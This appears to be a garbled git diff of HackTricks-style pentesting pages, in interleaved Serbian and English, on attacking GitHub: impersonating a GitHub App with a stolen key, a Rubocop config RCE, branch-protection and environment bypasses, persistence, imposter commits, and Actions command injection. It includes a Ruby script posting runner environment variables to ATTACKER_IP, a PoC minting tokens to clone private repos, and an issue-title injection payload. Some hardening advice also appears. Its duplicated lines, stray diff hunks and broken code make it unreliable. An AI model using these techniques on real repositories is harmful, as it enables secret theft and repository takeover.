If you obtain the private key (PEM) of a GitHub App, you can fully impersonate the app across all of its installations:
Zahtevi:
- Privatni ključ GitHub aplikacije (PEM)
- ID GitHub aplikacije (numerički). GitHub zahteva da iss bude ID aplikacije
- Generate a shortlived JWT signed with the private key
- Call the GitHub App REST API to enumerate installations
- Mint perinstallation access tokens and use them to list/clone/push to repositories granted to that installation
Requirements:
- GitHub App private key (PEM)
- GitHub App ID (numeric). GitHub requires iss to be the App ID
Create JWT (RS256):
Kreirajte JWT (RS256):
```python
#!/usr/bin/env python3
import time, jwt
with open("priv.pem", "r") as f:
signing_key = f.read()
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60, # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60, # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
```
Lista instalacija za autentifikovanu aplikaciju:
List installations for the authenticated app:
```bash
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
```
Kreirajte token za pristup instalaciji (važeći ≤ 10 minuta):
Create an installation access token (valid ≤ 10 minutes):
```bash
INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
```
Koristite token za pristup kodu. Možete klonirati ili slati koristeći xaccesstoken URL formu:
Use the token to access code. You can clone or push using the xaccesstoken URL form:
```bash
TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository
```
Programatski PoC za ciljanje specifične organizacije i listanje privatnih repozitorijuma (PyGithub + PyJWT):
Programmatic PoC to target a specific org and list private repos (PyGithub + PyJWT):
```python
#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration
with open("priv.pem", "r") as f:
signing_key = f.read()
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
ORG = "someorg"
def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")
auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
@@ -240,53 +253,57 @@ print(f"Installation ID: {installation.id}")
jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]
print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
```
Napomene:
- Instalacioni tokeni nasleđuju tačno dozvole na nivou repozitorijuma aplikacije (na primer, contents: write, pull_requests: write)
- Tokeni ističu za ≤10 minuta, ali novi tokeni mogu se praviti neograničeno sve dok zadržite privatni ključ
- Takođe možete enumerisati instalacije putem REST API-ja (GET /app/installations) koristeći JWT
## Kompromitovanje i zloupotreba Github akcije
Notes:
- Installation tokens inherit exactly the apps repositorylevel permissions (for example, contents: write, pull_requests: write)
- Tokens expire in ≤10 minutes, but new tokens can be minted indefinitely as long as you retain the private key
- You can also enumerate installations via the REST API (GET /app/installations) using the JWT
Postoji nekoliko tehnika za kompromitovanje i zloupotrebu Github akcije, proverite ih ovde:
## Compromise & Abuse Github Action
There are several techniques to compromise and abuse a Github Action, check them here:
{{#ref}}
abusing-github-actions/
{{#endref}}
## Zloupotreba aplikacija trećih strana na GitHub-u koje pokreću eksterne alate (Rubocop ekstenzija RCE)
## Abusing thirdparty GitHub Apps running external tools (Rubocop extension RCE)
Neke GitHub aplikacije i usluge za pregled PR-a izvršavaju eksterne linters/SAST protiv pull zahteva koristeći konfiguracione datoteke pod kontrolom repozitorijuma. Ako podržani alat omogućava dinamičko učitavanje koda, PR može postići RCE na izvršavaču usluge.
Some GitHub Apps and PR review services execute external linters/SAST against pull requests using repositorycontrolled configuration files. If a supported tool allows dynamic code loading, a PR can achieve RCE on the services runner.
Primer: Rubocop podržava učitavanje ekstenzija iz svoje YAML konfiguracije. Ako usluga prođe kroz .rubocop.yml koji obezbeđuje repozitorijum, možete izvršiti proizvoljni Ruby zahtevom za lokalnom datotekom.
Example: Rubocop supports loading extensions from its YAML config. If the service passes through a repoprovided .rubocop.yml, you can execute arbitrary Ruby by requiring a local file.
- Uslovi za aktiviranje obično uključuju:
- Alat je omogućen u usluzi
- PR sadrži datoteke koje alat prepoznaje (za Rubocop: .rb)
- Repozitorijum sadrži konfiguracionu datoteku alata (Rubocop traži .rubocop.yml bilo gde)
- Trigger conditions usually include:
- The tool is enabled in the service
- The PR contains files the tool recognizes (for Rubocop: .rb)
- The repo contains the tools config file (Rubocop searches for .rubocop.yml anywhere)
Datoteke za eksploataciju u PR-u:
Exploit files in the PR:
.rubocop.yml
```yaml
require:
- ./ext.rb
- ./ext.rb
```
ext.rb (izvlačenje varijabli okruženja za izvršavanje):
ext.rb (exfiltrate runner env vars):
```ruby
require 'net/http'
require 'uri'
@@ -297,92 +314,99 @@ json_data = env_vars.to_json
url = URI.parse('http://ATTACKER_IP/')
begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
warn e.message
end
```
Takođe uključite dovoljno veliki lažni Ruby fajl (npr. main.rb) kako bi linter zapravo radio.
Uticaj u stvarnom svetu:
- Potpuna izvršenja koda na produkcionom izvršavaocu koji je pokrenuo linter
- Ekstrakcija osetljivih promenljivih okruženja, uključujući privatni ključ GitHub aplikacije korišćen od strane servisa, API ključeve, DB akreditive itd.
- Sa provaljenim privatnim ključem GitHub aplikacije možete kreirati tokene za instalaciju i dobiti pristup za čitanje/pisanje svim repozitorijumima koji su dodeljeni toj aplikaciji (videti odeljak iznad o imitujući GitHub aplikaciju)
Also include a sufficiently large dummy Ruby file (e.g., main.rb) so the linter actually runs.
Uputstva za jačanje servisa koji pokreću spoljne alate:
- Smatrajte konfiguracije alata koje pruža repozitorijum kao nepouzdani kod
- Izvršavajte alate u strogo izolovanim peskovnicima bez montiranih osetljivih promenljivih okruženja
- Primijenite akreditive sa najmanjim privilegijama i izolaciju datotečnog sistema, i ograničite/odbijte izlaznu mrežnu komunikaciju za alate koji ne zahtevaju pristup internetu
Impact observed in the wild:
- Full code execution on the production runner that executed the linter
- Exfiltration of sensitive environment variables, including the GitHub App private key used by the service, API keys, DB credentials, etc.
- With a leaked GitHub App private key you can mint installation tokens and get read/write access to all repositories granted to that app (see the section above on GitHub App impersonation)
## Zaobilaženje zaštite grane
Hardening guidelines for services running external tools:
- Treat repositoryprovided tool configs as untrusted code
- Execute tools in tightly isolated sandboxes with no sensitive environment variables mounted
- Apply leastprivilege credentials and filesystem isolation, and restrict/deny outbound network egress for tools that dont require internet access
- **Zahtevajte određeni broj odobrenja**: Ako ste kompromitovali nekoliko naloga, mogli biste jednostavno prihvatiti svoje PR-ove iz drugih naloga. Ako imate samo nalog sa kojeg ste kreirali PR, ne možete prihvatiti svoj PR. Međutim, ako imate pristup **Github Action** okruženju unutar repozitorijuma, koristeći **GITHUB_TOKEN** mogli biste **odobriti svoj PR** i dobiti 1 odobrenje na ovaj način.
- _Napomena za ovo i za ograničenje vlasnika koda da obično korisnik neće moći da odobri svoje PR-ove, ali ako možete, možete to zloupotrebiti da prihvatite svoje PR-ove._
- **Odbacite odobrenja kada su novi commit-ovi poslati**: Ako ovo nije postavljeno, možete poslati legitimni kod, čekati da ga neko odobri, a zatim staviti zlonamerni kod i spojiti ga u zaštićenu granu.
- **Zahtevajte preglede od vlasnika koda**: Ako je ovo aktivirano i vi ste vlasnik koda, mogli biste napraviti **Github Action da kreira vaš PR i zatim ga sami odobrite**.
- Kada je **CODEOWNER fajl pogrešno konfigurisan**, Github se ne žali, ali ga ne koristi. Stoga, ako je pogrešno konfigurisan, **zaštita vlasnika koda se ne primenjuje.**
- **Dozvolite određenim akterima da zaobiđu zahteve za povlačenje**: Ako ste jedan od ovih aktera, možete zaobići zaštitu zahteva za povlačenje.
- **Uključite administratore**: Ako ovo nije postavljeno i vi ste administrator repozitorijuma, možete zaobići ovu zaštitu grane.
- **PR otmica**: Možete biti u mogućnosti da **modifikujete PR nekog drugog** dodajući zlonamerni kod, odobravajući rezultantni PR sami i spajajući sve.
- **Uklanjanje zaštite grane**: Ako ste **administrator repozitorijuma, možete onemogućiti zaštite**, spojiti svoj PR i ponovo postaviti zaštite.
- **Zaobilaženje zaštita za slanje**: Ako repozitorijum **samo dozvoljava određenim korisnicima** da šalju push (spajaju kod) u granama (zaštita grane može štititi sve grane specificirajući džoker `*`).
- Ako imate **pristup za pisanje preko repozitorijuma, ali vam nije dozvoljeno da šaljete kod** zbog zaštite grane, još uvek možete **napraviti novu granu** i unutar nje kreirati **github action koji se aktivira kada se kod pošalje**. Kako **zaštita grane neće štititi granu dok se ne kreira**, ovo prvo slanje koda u granu će **izvršiti github action**.
## Branch Protection Bypass
## Zaobilaženje zaštita okruženja
- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
- _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
- **Dismiss approvals when new commits are pushed**: If this isnt set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
- When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
- **Include administrators**: If this isnt set and you are admin of the repo, you can bypass this branch protections.
- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
- If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
Za uvod o [**Github okruženju proverite osnovne informacije**](basic-github-information.md#git-environments).
## Bypass Environments Protections
U slučaju da se okruženje može **pristupiti sa svih grana**, **nije zaštićeno** i lako možete pristupiti tajnama unutar okruženja. Imajte na umu da možete pronaći repozitorijume gde su **sve grane zaštićene** (specifikovanjem njihovih imena ili korišćenjem `*`), u tom scenariju, **pronađite granu u koju možete poslati kod** i možete **ekstrahovati** tajne kreirajući novu github action (ili modifikujući jednu).
For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments).
In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one).
Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**.
Napomena, da možete naići na ivicu slučaja gde su **sve grane zaštićene** (putem džokera `*`) i specificirano je **ko može slati kod u grane** (_to možete specificirati u zaštiti grane_) i **vašem korisniku nije dozvoljeno**. I dalje možete pokrenuti prilagođenu github action jer možete kreirati granu i koristiti okidač za slanje preko nje same. **Zaštita grane dozvoljava slanje u novu granu tako da će github action biti aktiviran**.
```yaml
push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
```
Napomena da će se **nakon kreiranja** grane **zaštita grane primeniti na novu granu** i nećete moći da je modifikujete, ali do tog trenutka već ćete biti izbacili tajne.
## Persistencija
Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets.
- Generišite **korisnički token**
- Ukradite **github tokene** iz **tajni**
- **Brisanje** rezultata **workflow-a** i **grana**
- Dajte **više dozvola celoj organizaciji**
- Kreirajte **webhook-ove** za eksfiltraciju informacija
- Pozovite **spoljašnje saradnike**
- **Uklonite** **webhook-ove** koje koristi **SIEM**
- Kreirajte/modifikujte **Github Action** sa **bekdoor-om**
- Pronađite **ranjivu Github Action za injekciju komandi** putem modifikacije **tajne** vrednosti
## Persistence
### Impostor Commit-ovi - Bekdoor putem repo commit-ova
- Generate **user token**
- Steal **github tokens** from **secrets**
- **Deletion** of workflow **results** and **branches**
- Give **more permissions to all the org**
- Create **webhooks** to exfiltrate information
- Invite **outside collaborators**
- **Remove** **webhooks** used by the **SIEM**
- Create/modify **Github Action** with a **backdoor**
- Find **vulnerable Github Action to command injection** via **secret** value modification
U Github-u je moguće **napraviti PR za repo iz forka**. Čak i ako PR **nije prihvaćen**, **commit** id unutar originalnog repoa će biti kreiran za fork verziju koda. Stoga, napadač **može da se oslanja na korišćenje specifičnog commita iz naizgled legitimnog repoa koji nije kreirao vlasnik repoa**.
### Imposter Commits - Backdoor via repo commits
In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**.
Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
Kao [**ovo**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
```yaml
name: example
on: [push]
jobs:
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'
```
Za više informacija proverite [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
## Reference
For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
- [Kako smo iskoristili CodeRabbit: od jednostavnog PR-a do RCE i pristupa za pisanje na 1M repozitorijuma](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
- [Rubocop ekstenzije (require)](https://docs.rubocop.org/rubocop/latest/extensions.html)
- [Autentifikacija sa GitHub aplikacijom (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
- [Lista instalacija za autentifikovanu aplikaciju](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
- [Kreirajte token za pristup instalaciji za aplikaciju](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
## References
- [How we exploited CodeRabbit: from a simple PR to RCE and write access on 1M repositories](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
- [Rubocop extensions (require)](https://docs.rubocop.org/rubocop/latest/extensions.html)
- [Authenticating with a GitHub App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
- [List installations for the authenticated app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
- [Create an installation access token for an app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,3 +1,5 @@
# Gh Actions - Artifact Poisoning
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,3 +1,5 @@
# GH Actions - Cache Poisoning
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,73 +2,81 @@
{{#include ../../../banners/hacktricks-training.md}}
## Razumevanje rizika
## Understanding the risk
GitHub Actions renderuje izraze ${{ ... }} pre nego što se korak izvrši. Renderovana vrednost se ubacuje u program koraka (za run korake, shell skripta). Ako interpolirate nepouzdan ulaz direktno unutar run:, napadač kontroliše deo shell programa i može izvršavati proizvoljne komande.
GitHub Actions renders expressions ${{ ... }} before the step executes. The rendered value is pasted into the steps program (for run steps, a shell script). If you interpolate untrusted input directly inside run:, the attacker controls part of the shell program and can execute arbitrary commands.
Dokumentacija: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions i contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
Ključne tačke:
- Renderovanje se dešava pre izvršenja. Skripta koja se pokreće u run koraku se generiše sa svim razrešenim izrazima, a zatim je izvršava shell.
- Mnogi contexts sadrže polja pod kontrolom korisnika u zavisnosti od događaja koji pokreće (issues, PRs, comments, discussions, forks, stars, itd.). Pogledajte referencu o nepouzdanom ulazu: https://securitylab.github.com/resources/github-actions-untrusted-input/
- Quoting u shell-u unutar run: nije pouzdana odbrana, jer se injekcija dešava u fazi renderovanja šablona. Napadači mogu probiti navodnike ili ubaciti operatore putem pažljivo sastavljenog unosa.
Key points:
- Rendering happens before execution. The run script is generated with all expressions resolved, then executed by the shell.
- Many contexts contain user-controlled fields depending on the triggering event (issues, PRs, comments, discussions, forks, stars, etc.). See the untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
- Shell quoting inside run: is not a reliable defense, because the injection occurs at the template rendering stage. Attackers can break out of quotes or inject operators via crafted input.
## Ranljiv obrazac → RCE na runner-u
## Vulnerable pattern → RCE on runner
Vulnerable workflow (triggered when someone opens a new issue):
Ranljiv workflow (pokreće se kada neko otvori novi issue):
```yaml
name: New Issue Created
on:
issues:
types: [opened]
issues:
types: [opened]
jobs:
deploy:
runs-on: ubuntu-latest
permissions:
issues: write
steps:
- name: New issue
run: |
echo "New issue ${{ github.event.issue.title }} created"
- name: Add "new" label to issue
uses: actions-ecosystem/action-add-labels@v1
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
labels: new
deploy:
runs-on: ubuntu-latest
permissions:
issues: write
steps:
- name: New issue
run: |
echo "New issue ${{ github.event.issue.title }} created"
- name: Add "new" label to issue
uses: actions-ecosystem/action-add-labels@v1
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
labels: new
```
Ako napadač otvori issue sa naslovom $(id), renderovani step postaje:
If an attacker opens an issue titled $(id), the rendered step becomes:
```sh
echo "New issue $(id) created"
```
Zamena komande izvršava id na runneru. Primer izlaza:
The command substitution runs id on the runner. Example output:
```
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
```
Zašto citiranje ne štiti:
- Izrazi se prvo evaluiraju, zatim se izvršava dobijena skripta. Ako nepouzdana vrednost sadrži $(...), `;`, `"`/`'` ili prelome reda (newlines), može promeniti strukturu programa uprkos vašem citiranju.
## Siguran obrazac (shell variables via env)
Why quoting doesnt save you:
- Expressions are rendered first, then the resulting script runs. If the untrusted value contains $(...), `;`, `"`/`'`, or newlines, it can alter the program structure despite your quoting.
## Safe pattern (shell variables via env)
Correct mitigation: copy untrusted input into an environment variable, then use native shell expansion ($VAR) in the run script. Do not re-embed with ${{ ... }} inside the command.
Ispravna mitigacija: kopirajte nepouzdani ulaz u environment variable, zatim koristite native shell expansion ($VAR) u run skripti. Nemojte ponovo umetati sa ${{ ... }} unutar komande.
```yaml
# safe
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: New issue
env:
TITLE: ${{ github.event.issue.title }}
run: |
echo "New issue $TITLE created"
deploy:
runs-on: ubuntu-latest
steps:
- name: New issue
env:
TITLE: ${{ github.event.issue.title }}
run: |
echo "New issue $TITLE created"
```
Napomene:
- Izbegavajte upotrebu ${{ env.TITLE }} inside run:. To ponovo uvodi template rendering nazad u komandu i stvara isti rizik od injekcije.
- Preferirajte prosleđivanje nepouzdanih inputa putem env: mapping i referencirajte ih sa $VAR in run:.
Notes:
- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
## Reader-triggerable surfaces (treat as untrusted)
Nalozi sa samo read permission na public repositories i dalje mogu pokrenuti mnoge event-e. Svako polje u kontekstima izvedenim iz ovih event-a mora se smatrati kontrolisanim od strane napadača, osim ako se ne dokaže suprotno. Primeri:
Accounts with only read permission on public repositories can still trigger many events. Any field in contexts derived from these events must be considered attacker-controlled unless proven otherwise. Examples:
- issues, issue_comment
- discussion, discussion_comment (orgs can restrict discussions)
- pull_request, pull_request_review, pull_request_review_comment
@@ -77,14 +85,14 @@ Nalozi sa samo read permission na public repositories i dalje mogu pokrenuti mno
- watch (starring a repo)
- Indirectly via workflow_run/workflow_call chains
Koja specifična polja su attacker-controlled zavisi od event-a. Pogledajte GitHub Security Labs untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
Which specific fields are attacker-controlled is event-specific. Consult GitHub Security Labs untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
## Practical tips
- Minimizirajte korišćenje expressions inside run:. Prefer env: mapping + $VAR.
- Ako morate transformisati input, uradite to u shell-u koristeći sigurne alate (printf %q, jq -r, itd.), pri čemu i dalje počinjete od shell promenljive.
- Budite posebno oprezni pri interpolaciji branch names, PR titles, usernames, labels, discussion titles i PR head refs u skripte, komandne flagove ili putanje fajlova.
- Za reusable workflows i composite actions primenite isti obrazac: mapirajte u env pa onda referencirajte $VAR.
- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable.
- Be extra careful when interpolating branch names, PR titles, usernames, labels, discussion titles, and PR head refs into scripts, command-line flags, or file paths.
- For reusable workflows and composite actions, apply the same pattern: map to env then reference $VAR.
## References
@@ -93,4 +101,4 @@ Koja specifična polja su attacker-controlled zavisi od event-a. Pogledajte GitH
- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,56 +1,58 @@
# Pristupačni Obbrisani Podaci na Githubu
# Accessible Deleted Data in Github
{{#include ../../banners/hacktricks-training.md}}
Ovi načini pristupa podacima sa Github-a koji su navodno obrisani su [**prijavljeni u ovom blog postu**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
## Pristup Obbrisanom Fork Podacima
## Accessing Deleted Fork Data
1. Forkujete javni repozitorijum
2. Komitujete kod u vaš fork
3. Brišete vaš fork
1. You fork a public repository
2. You commit code to your fork
3. You delete your fork
> [!CAUTION]
> Podaci komitovani u obrisanom forku su i dalje dostupni.
> The data commited in the deleted fork is still accessible.
## Pristup Obbrisanom Repo Podacima
## Accessing Deleted Repo Data
1. Imate javni repo na GitHub-u.
2. Korisnik fork-uje vaš repo.
3. Komitujete podatke nakon što su fork-ovali (i nikada ne sinhronizuju svoj fork sa vašim ažuriranjima).
4. Brišete ceo repo.
1. You have a public repo on GitHub.
2. A user forks your repo.
3. You commit data after they fork it (and they never sync their fork with your updates).
4. You delete the entire repo.
> [!CAUTION]
> Čak i ako ste obrisali vaš repo, sve promene napravljene na njemu su i dalje dostupne kroz forke.
> Even if you deleted your repo, all the changes made to it are still accessible through the forks.
## Pristup Privatnim Repo Podacima
## Accessing Private Repo Data
1. Kreirate privatni repo koji će na kraju postati javan.
2. Kreirate privatnu, internu verziju tog repoa (putem fork-ovanja) i komitujete dodatni kod za funkcije koje nećete učiniti javnim.
3. Činite vaš “upstream” repozitorijum javnim i zadržavate vaš fork privatnim.
1. You create a private repo that will eventually be made public.
2. You create a private, internal version of that repo (via forking) and commit additional code for features that youre not going to make public.
3. You make your “upstream” repository public and keep your fork private.
> [!CAUTION]
> Moguće je pristupiti svim podacima koji su poslati na internu fork u vremenu između kada je interna fork kreirana i kada je javna verzija postala javna.
> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
## Kako otkriti komite iz obrisanih/skrivenih forka
## How to discover commits from deleted/hidden forks
Isti blog post predlaže 2 opcije:
The same blog post propose 2 options:
### Direktan pristup komitu
### Directly accessing the commit
Ako je poznata vrednost ID-a komita (sha-1), moguće je pristupiti mu na `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
If the commit ID (sha-1) value is known it's possible to access it in `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
### Brute-forcing kratkih SHA-1 vrednosti
### Brute-forcing short SHA-1 values
Isto je pristupiti oba od ovih:
It's the same to access both of these:
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
I poslednji koristi kratak sha-1 koji se može bruteforce-ovati.
And the latest one use a short sha-1 that is bruteforceable.
## Reference
## References
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,258 +1,263 @@
# Osnovne informacije o Github
# Basic Github Information
{{#include ../../banners/hacktricks-training.md}}
## Osnovna struktura
## Basic Structure
Osnovna struktura Github okruženja velike **kompanije** je da poseduje **enterprise** koji poseduje **više organizacija**, a svaka od njih može sadržati **više repositories** i **više timova.** Manje kompanije mogu imati samo **jednu organizaciju i bez enterprise-a**.
The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**.
Iz ugla korisnika, jedan **user** može biti **član** različitih enterprise-a i organizacija. Unutar njih korisnik može imati **različite enterprise, organization i repository uloge**.
From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**.
Pored toga, korisnik može biti **deo različitih timova** sa različitim enterprise, organization ili repository ulogama.
Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles.
I na kraju, **repositories mogu imati posebne mehanizme zaštite**.
And finally **repositories may have special protection mechanisms**.
## Privilegije
## Privileges
### Enterprise uloge
### Enterprise Roles
- **Enterprise owner**: Osobe sa ovom ulogom mogu **upravljati administratorima, upravljati organizacijama unutar enterprise-a, upravljati enterprise podešavanjima, i nametati politiku preko organizacija**. Međutim, oni **ne mogu pristupiti organization podešavanjima ili sadržaju** osim ako im nije dodeljena organization owner uloga ili direktan pristup repository-ju koji poseduje organizacija.
- **Enterprise members**: Članovi organizacija koje poseduje vaše enterprise su takođe **automatski članovi enterprise-a**.
- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
### Organization uloge
### Organization Roles
U organizaciji korisnici mogu imati različite uloge:
In an organisation users can have different roles:
- **Organization owners**: Organization owners imaju **potpun administrativni pristup vašoj organizaciji**. Ovu ulogu treba ograničiti, ali na najmanje dve osobe u vašoj organizaciji.
